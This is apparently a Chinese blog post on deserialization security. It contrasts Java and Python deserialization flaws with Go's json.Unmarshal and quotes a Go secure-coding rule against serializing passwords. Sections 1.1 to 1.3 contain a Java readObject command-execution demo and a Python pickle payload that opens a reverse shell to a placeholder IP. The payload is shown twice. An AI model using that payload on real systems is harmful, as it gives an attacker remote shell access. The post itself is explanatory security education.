go安全研究-序列化与反序列化

1      是否有反序列化漏洞?

1.1      先看java的反序列化漏洞

来源: https://xz.aliyun.com/t/2041

 

简单的反序列化漏洞demo

Java反序列化中,会调用被反序列化的readObject方法,当readObject方法书写不当时就会引发漏洞。

PS:有时也会使用readUnshared()方法来读取对象,readUnshared()不允许后续的readObject和readUnshared调用引用这次调用反序列化得到的对象,而readObject读取的对象可以。

//反序列化所需类在io包中

import java.io.*;

public class test{

    public static void main(String args[]) throws Exception{

 

        UnsafeClass Unsafe = new UnsafeClass();

        Unsafe.name = "hacked by ph0rse";

 

        FileOutputStream fos = new FileOutputStream("object");

        ObjectOutputStream os = new ObjectOutputStream(fos);

        //writeObject()方法将Unsafe对象写入object文件

        os.writeObject(Unsafe);

        os.close();

        //从文件中反序列化obj对象

        FileInputStream fis = new FileInputStream("object");

        ObjectInputStream ois = new ObjectInputStream(fis);

        //恢复对象

        UnsafeClass objectFromDisk = (UnsafeClass)ois.readObject();

        System.out.println(objectFromDisk.name);

        ois.close();

    }

}

 

class UnsafeClass implements Serializable{

    public String name;

    //重写readObject()方法

    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{

        //执行默认的readObject()方法

        in.defaultReadObject();

        //执行命令

        Runtime.getRuntime().exec("calc.exe");

    }

}

 
View Code

程序运行逻辑为:

UnsafeClass类被序列化进object文件

从object文件中恢复对象

调用被恢复对象的readObject方法

命令执行

1.2      在看python的反序列化漏洞

来源:https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BPython%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

我们尝试执行代码反弹 shell

示例代码:

import pickle
import os
class A(object):
    def __reduce__(self):
        a = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx.xxx.xxx.xxx",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
        return (os.system,(a,))    
a=A()
result = pickle.dumps(a)
pickle.loads(result)

  

在9999 端口进行监听,如图所示:

 

运行代码,然后成功反弹 shell,如图所示:

 

当序列化以及反序列化的过程中中碰到一无所知的扩展类型(这里指的就是新式类)的时候,可以通过类中定义的__reduce__方法来告知如何进行序列化或者反序列化

 

1.3      Javapython反序列化漏洞的共性

在进行反序列化得到对象的时候,都会调用对象的某个方法,如java下会调用readObject,python下会调用__reduce__

 

import pickle

import os

class A(object):

    def __reduce__(self):

        a = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx.xxx.xxx.xxx",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""

        return (os.system,(a,))   

a=A()

result = pickle.dumps(a)

pickle.loads(result)

 
View Code

 

1.4      在看Go反序列化

示例代码1:

package main
import (
        "fmt"
        "reflect"
)
type User struct {
        Name  string
        Age   int
        Phone string
}
type Address struct {
        City    string
        ZipCode string
}
func GetMethodCount() {
        user := User{Name: "abc", Age: 1, Phone: "110"}
        userType := reflect.TypeOf(user)
        fmt.Printf("\n[User]method count: %d\n", userType.NumMethod())
        addr := Address{City: "abc", ZipCode: "110"}
        addrType := reflect.TypeOf(addr)
        fmt.Printf("\n[Address]method count: %d\n", addrType.NumMethod())
}
func (u User) Print() {
        fmt.Printf("Name: %s\nAge: %d\nPhone: %s\n", u.Name, u.Age, u.Phone)
}
func (u User) String() string {
        return fmt.Sprintf("Name: %s\nAge: %d\nPhone: %s\n", u.Name, u.Age, u.Phone)
}
 

func main() {
        fmt.Println("[Test Begin]\n")
        GetMethodCount()
        fmt.Println("\n[Test Done]")
}
View Code

 

运行结果:

[User]method count: 2

[Address]method count: 0

 

可见:

User和Address对象没有什么隐藏函数,如果代码中没有给对象定义方法,则其方法个数就为0;

 

示例代码2:

 

func SerializationUser(user User) ([]byte, error) {

        fmt.Println("\n[SerializationUser Begin]\n")

        buf, err := json.Marshal(user)

        if err != nil {

               fmt.Println("json.Marshal failed: ", err)

        }

        fmt.Println("\n[SerializationUser Done]\n")

        return buf, err

}

func UnSerializationUser(buf []byte) (user User, err error) {

        fmt.Println("\n[UnSerializationUser Begin]\n")

        err = json.Unmarshal(buf, &user)

        if err != nil {

               fmt.Println("json.Unmarshal failed: ", err)

        }

        fmt.Println("\n[UnSerializationUser Done]\n")

        return user, err

}

func main() {

        fmt.Println("[Test Begin]\n")

        buf, err := SerializationUser(User{Name: "abc", Age: 1, Phone: "110"})

        if err == nil {

               fmt.Println(buf)

               user, err := UnSerializationUser(buf)

               if err == nil {

                       user.Print()

               }

        }

        fmt.Println("\n[Test Done]")

}
View Code

 

Go语言在反序列化对象时,只进行对象属性的赋值,不会默认去调用对象的方法,对象的方法只能主动调用才会执行,不会导致类似java和python的反序列化漏洞。

 

因此,在使用Go反序列化的场景中,在代码中对反序列化得到的对象属性根据实际情况进行合法性校验后,不会出现反序列化漏洞。

 

Go源码分析:src/encoding/json/decode.go

 

json.Unmarshal(data []byte, v interface{})
 decodeState.unmarshal(v)
 decodeState.value(rv)   // rv := reflect.ValueOf(v)  -- type : reflect.Value
 decodeState.array(rv) 、decodeState.object (rv)、decodeState.literalStore(rv)
 rv.SetXXX()  // rv.SetString、rv.SetInt、rv.Set

 

2      《Go语言安全编程规范1.0》

2.1   规则 9.1 禁止序列化未加密的敏感数据

【说明】:

虽然序列化可以将对象的状态保存为一个字节序列,之后通过反序列化该字节序列又能重新构造出原来的对象,但是它并没有提供一种机制来保证序列化数据的安全性。可访问序列化数据的攻击者可以借此获取敏感信息并确定对象的实现细节。攻击者也可恶意修改其中的数据,试图在其被反序列化之后对系统造成危害。敏感数据序列化之后是潜在对外暴露着的,因此序列化信息中不应该包括:密钥、数字证书、以及那些在序列化时引用敏感数据的类。此条规则的意义在于防止敏感数据被无意识的序列化导致敏感信息泄露。

 

【错误示例】:

下面代码中密码是敏感信息,那么将其序列化到数据流中使之面临敏感信息泄露和被恶意篡改的风险。注意:这里以Json为例,但xml、csv、binary等也存在类似问题。

 

package main
import (
"encoding/json"
"fmt"
)

type CreditCard struct {
Id     int    `json:"card_id"`
Bank   string `json:"bank_name"`
Owner  string `json:"owner_id"`
Passwd string `json:"password"` /* 敏感信息 */
}

func main() {
var card CreditCard
card.Id = 132004473002056
card.Bank = "China bank"
card.Owner = "golang"
card.Passwd = "Tell4U"/**口令不能硬编码在代码中,这里只是为了程序演示**/

// 序列化
serialStr, err := json.Marshal(card) /**【错误】直接将敏感信息序列化**/
if err != nil {
fmt.Println("Serialization error.")
return
}
fmt.Println(string(serialStr), err)
// 发送给接收方
// 后面代码略……
}
View Code

 

【推荐做法】:

在将某个包含敏感数据的结构体序列化时,程序必须确保敏感数据不被序列化。这包括阻止包含敏感信息的数据成员被序列化,以及不可序列化或者敏感对象的引用被序列化。该示例针对Json将相应的字段声明为“-”, 从而使它们不包括在依照默认的序列化机制应该被序列化的字段列表中。这样既避免了错误的序列化,又防止了敏感数据被意外序列化。

 

package main
import (
"encoding/json"
"fmt"
)

type CreditCard struct {
Id     int    `json:"card_id"`
Bank   string `json:"bank_name"`
Owner  string `json:"owner_id"`
Passwd string `json:"-"` /**【修改】声明Paaswd敏感信息不被序列化 **/
}

func main() {
var card CreditCard
card.Id = 132004473002056
card.Bank = "China bank"
card.Owner = "golang"
card.Passwd = "Tell4U" /**口令不能硬编码在代码中,这里只是为了程序演示**/

// 序列化
serialStr, err := json.Marshal(card) 
if err != nil {
fmt.Println("Serialization error.")
return
}
fmt.Println(string(serialStr), err)
// 发送给接收方
// 后面代码略……
}
View Code

 

【备注】:

l  上例中的“-”阻止包含敏感数据的数据成员被序列化,仅对Json、Xml有效;其它格式的根据语言特点来阻止,比如gob可以通过数据成员首字母小写来阻止;

l  口令不能硬编码在代码中,这里只是为了程序演示;

 

【例外情况】:

可以序列化已正确加密的敏感数据。

 

posted @ 2023-03-15 15:16  易先讯  阅读(614)  评论(0编辑  收藏  举报